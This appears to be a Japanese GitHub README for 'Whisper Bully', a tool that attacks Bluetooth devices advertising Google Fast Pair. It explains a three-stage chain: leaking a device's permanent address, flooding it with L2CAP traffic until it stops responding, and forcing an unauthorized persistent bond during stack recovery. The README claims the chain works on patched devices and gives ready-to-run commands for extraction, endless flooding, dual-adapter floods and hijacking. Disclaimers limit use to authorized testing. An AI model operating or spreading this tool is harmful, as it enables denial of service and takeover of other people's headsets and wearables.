
3段階のBluetooth BDADDR抽出、Fast Pairデバイスに対するDoSおよびハイジャック;CVE-2025-36911の範囲外にある未パッチのプリミティブ(Ubertooth不要)
Bluetooth BDADDR抽出・サービス妨害(DoS)・ハイジャック調査ツール
© 2026 @Ymsniper — 許可を得たセキュリティ研究のみを目的としています。
Whisper Bully は、Google Fast Pair(サービス UUID fe2c)をアドバタイズするデバイスを標的とする 3 段階構成の Bluetooth セキュリティ調査ツールです。CVE-2025-36911 ファームウェアパッチの範囲外となる 2 つの未パッチの攻撃プリミティブを実証します:
⚠️ このツールは Whisper Pair(Fast Pair GATT)プロトコルを実装していません。 Key-Based Pairing キャラクタリスティック(UUID 1236)や Account Key キャラクタリスティック(UUID 1238)への書き込みは一切行いません。ここで説明する攻撃面は、CVE-2025-36911 のペアリングモードチェックパッチでは対処されておらず、別個のものです。
https://github.com/user-attachments/assets/67f2bcb6-38ad-4ba0-80c5-36dbb54f3f11
根本原因: BLE 接続が確立されると、Linux BlueZ ホストスタックは LL_CONNECTION_COMPLETE イベントを処理し、デバイスの Resolvable Private Address(RPA)を恒久的な ID アドレスに解決して、BlueZ デバイステーブルにキャッシュします。これは GATT サービスのやり取りより前に、リンク層 / HCI レベルで発生します。Fast Pair プロトコルは関与しません。
コードが実際に行うこと:
fe2c をアドバタイズするデバイスをアクティブ BLE スキャン(BleakScanner)で検出します — ターゲット識別にのみ使用され、プロトコルのやり取りはありませんBleakClient.connect() でプレーンな BLE 接続を確立します — いかなる種類の GATT 書き込みも行いませんNoInputNoOutput に設定しますwb.py の 452 行目)bluetoothctl pair <rpa_addr> を実行します — Fast Pair ではなく、標準の Bluetooth SMP ペアリング試行ですbluetoothctl の標準出力で Bonded: yes を監視します。ボンドされたアドレスが含まれる場合がありますbluetoothctl devices を呼び出し、最初の RPA と比較します — 同じデバイス名で異なるアドレスのエントリが、ステップ 2 で BlueZ が漏えいさせた恒久的な ID アドレスですなぜパッチで修正されないのか:
CVE-2025-36911 のファームウェア修正は、アクセサリ側の Fast Pair GATT Key-Based Pairing キャラクタリスティックハンドラにペアリングモードチェックを追加します。このツールはそのキャラクタリスティックに書き込むことはありません。ID アドレスの漏えいは、攻撃者の Linux ホスト上で BlueZ 自身のデバイスキャッシュを介して発生します — アクセサリのファームウェアの外部で完全に発生します。
重要な動作メモ:
bluetoothctl pair ステップが失敗またはタイムアウトしても、抽出は成功し得ますNoInputNoOutput は Just Works で両側のユーザー操作が不要であることを意味します恒久的なアドレスが判明したら、変更版の l2flood を使用して持続的な L2CAP サービス妨害攻撃を任意で実行します。
ツール全体で 2 つのモードが使用されます:
-R フラグ — EMP モード(ステージ 2 フラッド)
サイレントな fire-and-forget バースト再接続です。すべてのスレッドが connect → burst → 強制クローズのサイクルを同期させ、ターゲットが吸収できるずらした L2CAP チャネルシャッフルではなく、定期的な ACL 全体のティアダウンを受信するようにします。毎回のクローズで即時の RST ティアダウンに SO_LINGER {1,0} を使用します。通常動作中は stdout に出力しません — 接続エラーは stderr に抑制され、定期的にのみ表示されます。
通常モード(ステージ 3 ハイジャックプローブ)
-R なしで使用し、ターゲットがまだ応答しているかをプローブします。このモードも改良されており、再接続を自動処理し、ターゲットが応答を停止すると no response from <addr>: id N を出力します。これが wb.py がハイジャックをトリガーするために監視する出力です。
結果: フラッドがアクティブな間、ターゲットデバイスは通常の接続試行に応答しなくなります。攻撃を停止するとデバイスは完全に復旧します — 永続的な損傷はありません。
マルチスレッド動作:
根本原因: 持続的な L2CAP フラッドにより、ターゲットデバイスの Bluetooth スタックがクラッシュまたはリセットします。復旧ウィンドウ中 — Fast Pair GATT サービスが再登録される前、かつ Security Manager が完全に再初期化される前 — デバイスは、通常ボンドをゲートする Fast Pair GATT ハンドシェイクを必要とせずに、NoInputNoOutput からの標準的な SMP Just Works ボンドを受け入れます。結果として得られるボンドは永続的です。BT アダプタのリセット後も存続し、bluetoothctl info で Paired: yes / Bonded: yes と表示されます。
なぜこれが CVE-2025-36911 とは別の発見なのか:
CVE-2025-36911 パッチは、FP GATT Key-Based Pairing キャラクタリスティックハンドラでペアリングモードチェックを強制します。ステージ 3 はそのキャラクタリスティックに一切触れません。ボンドは、FP GATT サーバーが再初期化されていないウィンドウ中に SMP 層で確立されるため、Fast Pair セキュリティゲートに到達することすらありません。完全にパッチ適用済みのデバイスでも、パッチはスタック復旧中の SMP 層を認識できないため、この攻撃に対して脆弱なままです。
コードが実際に行うこと:
l2flood -c -1 -t 2)を送信してデバイスが応答しないことを確認します — 出力の no response from <addr>: id N を探しますbluetoothctl connect <permanent_addr> を実行しますNoInputNoOutput / NoInputNoOutput → Just Works アソシエーションモデルをネゴシエートし、ボンドが完了しますbluetoothctl connect は終了コード 0 を返しますデバイスの状態別の成功確率:
| デバイスの状態 | 期待される結果 |
|---|---|
| フラッド中 / 応答なし | 最も高い成功率 — 復旧中はスタックが劣化状態 |
| フラッドからの復旧中 | 高い成功率 — SM 再初期化の一時的なウィンドウ |
| 完全に復旧 | 成功率は低い — 通常のセキュリティが復元済み |
| 電源オフ | 失敗 |
これはサービス妨害および不正アクセス調査ツールです。
所有していないデバイス、または明示的な書面による許可がないデバイスに対してこのツールを使用することは、Computer Fraud and Abuse Act(18 U.S.C. § 1030)および他の法域の同等の法律に基づき、禁固刑および罰金が科せられる連邦犯罪です。
このツールは以下のデバイスにのみ使用できます:
bluetoothctl と生の BLE アクセスに必要)bluetoothctl / BlueZ がインストールされ機能していることl2flood — kovmir/l2flood を参照Ubuntu / Debian:
sudo apt update
sudo apt install -y python3 python3-pip libdbus-1-dev libglib2.0-dev bluez
Fedora / RHEL / CentOS:
sudo dnf install -y python3 python3-pip dbus-devel glib2-devel bluez
Arch Linux:
sudo pacman -S python python-pip dbus glib bluez
Alpine Linux:
apk add --no-cache python3 py3-pip dbus-dev glib-dev bluez bluez-openrc
openSUSE:
sudo zypper install -y python3 python3-pip dbus-1-devel glib2-devel bluez
Void Linux:
sudo xbps-install -S python3 python3-pip dbus-devel glib-devel bluez
git clone https://github.com/Ymsniper/Whisper_Bully.git
cd Whisper_Bully
pip3 install -r requirements.txt
# Required for Stage 2/3 only:
make
sudo make install
# Auto-detect and extract all nearby Fast Pair devices
sudo python3 wb.py
# 20 second scan, save results
sudo python3 wb.py -s 20 -o targets.json
# 30 second scan, custom output file
sudo python3 wb.py -s 30 -o extracted.json
注: デバイスが以前にこのツールまたは手動で接続・ペアリングされていた場合、BlueZ はすでにその ID アドレスを把握しています。抽出をクリーンに実行するため、先に削除してください:
sudo bluetoothctl remove <address>
sudo python3 wb.py -s 20 -o targets.json
# At completion: "Run aggressive L2CAP test... (yes/no)" → yes
# Stage 1 + Stage 2 only
sudo python3 wb.py -s 20 -o targets.json --aggressive
# Stage 1 + Stage 2 + Stage 3
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack
# With duration and thread count
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120 -t 8
# Flood from extracted targets file for 120 seconds
sudo python3 aggressive_test.py -f targets.json -d 120 -t 4
# Flood a single known address for 60 seconds
sudo python3 aggressive_test.py AA:BB:CC:DD:EE:FF -d 60
# Flood forever (Ctrl+C to stop)
sudo python3 aggressive_test.py AA:BB:CC:DD:EE:FF -f
# Integrated — extract, flood, then hijack
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120
# Manual standalone hijack on known address
sudo python3 wb.py -H AA:BB:CC:DD:EE:FF
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120 -t 4
実行フロー:
targets.json に保存# Terminal 1
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -i hci0 -d 120 -t 4 &
# Terminal 2
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -i hci1 -d 120 -t 4
DoS 圧力が 2 倍になり、復旧ウィンドウ中のハイジャック成功確率が高まります。
Fast Pair FE2C サービス UUID は、候補ターゲットを識別するためのスキャンフィルタとしてのみ使用されます。BLE 接続が確立されると:
LL_CONNECTION_COMPLETE をホストに発火しますbluetoothctl devices には元の RPA と新しく登録された ID アドレスの両方が表示されます — 同じデバイス名、異なるアドレスです並行して実行される bluetoothctl pair 呼び出しは成功する場合もしない場合もあります — 通常、pair コマンドが完了または失敗する時点で BDADDR はすでにテーブルに存在します。
l2flood -R)この変更版 l2flood は、対象とするステージに応じて 2 つのモードがあります:
-R フラグ — EMP モード(DoS のみ、ハイジャックなし)
ステージ 2 をスタンドアロンで実行し、ステージ 3 に進まない場合に使用します。
サイレントな fire-and-forget バースト再接続 — すべてのスレッドが
connect → burst → 強制クローズのサイクルを同期させ、定期的な ACL 全体の
ティアダウンを保証します。通常動作中は stdout に出力しません。
通常モード(DoS + ハイジャックプローブ)
ステージ 3 を意図する場合に使用します。通常モードは再接続を自動処理するように
改良されており、ターゲットが応答を停止すると
no response from <addr>: id N を出力します — これが wb.py が
ハイジャック試行をトリガーするために監視するシグナルです。
結果として得られるボンドは一時的な接続ではなく、BlueZ に保存される完全な SMP ボンドです:
bluetoothctl info <addr> に Paired: yes、Bonded: yes、Trusted: no と表示されますbluetoothctl power off/on サイクル後も存続します/var/lib/bluetooth/ に保存)bluetoothctl を備えた Linux が必要デバイスが見つからない
bluetoothctl が機能しているか確認: sudo bluetoothctl list-s 30BLE 接続失敗 / 抽出失敗
sudo bluetoothctl remove <addr>フラッドに効果がない
-t 16許可が拒否された
sudo で実行bluetooth グループに属していることを確認するか、root で実行bleak インポートエラー
sudo apt install libdbus-1-dev libglib2.0-devsudo dnf install dbus-devel glib2-develsudo pacman -S dbus glibD-Bus エラー
sudo systemctl start dbus && sudo systemctl start bluetoothMIT。詳細は LICENSE を参照。
このツールは、許可を得たセキュリティテストおよび防御研究のみを目的としています。Bluetooth デバイスへの不正アクセスは違法です。所有しているデバイス、またはテストする明示的な書面による許可を得ているデバイスにのみ使用してください。著者は、不正または違法な使用について一切の責任を負いません。
| CVE-2025-36911(WhisperPair) | このツール |
|---|
| 使用プロトコル | Fast Pair GATT KBP(UUID 1236 書き込み) | なし — プレーンな BLE 接続のみ |
| BDADDR 漏えい経路 | 暗号化 KBP 通知(BR/EDR アドレス) | LL_CONNECTION_COMPLETE 時の BlueZ RPA 解決 |
| 認証バイパス経路 | FP ペアリングモードチェックの欠如 | BT スタック復旧ウィンドウ中の SMP Just Works |
| 36911 修正でパッチ適用? | はい | いいえ |
| パッチ適用済みデバイスで動作? | いいえ | はい |
| CWE | CWE-287 | CWE-200(ステージ 1)+ CWE-362/CWE-287(ステージ 3) |
| フラグ | 説明 |
|---|
-s, --scan-time | BLE スキャン時間(秒)(デフォルト: 10) |
-o, --output | 抽出したアドレスを JSON ファイルに保存 |
--aggressive | プロンプトをスキップし、ステージ 2 を即座に実行(事前の書面による許可が必要) |
-H, --hijack | ステージ 2 の後にステージ 3 のハイジャックを試行(--aggressive または対話式の yes が必要) |
-d, --duration | フラッド時間(秒)(デフォルト: 60)、f で無期限 |
-t, --threads | 並列 L2CAP フラッドスレッド数(デフォルト: CPU 数) |
-i, --hci | 使用する HCI アダプタ(例: hci0、hci1) |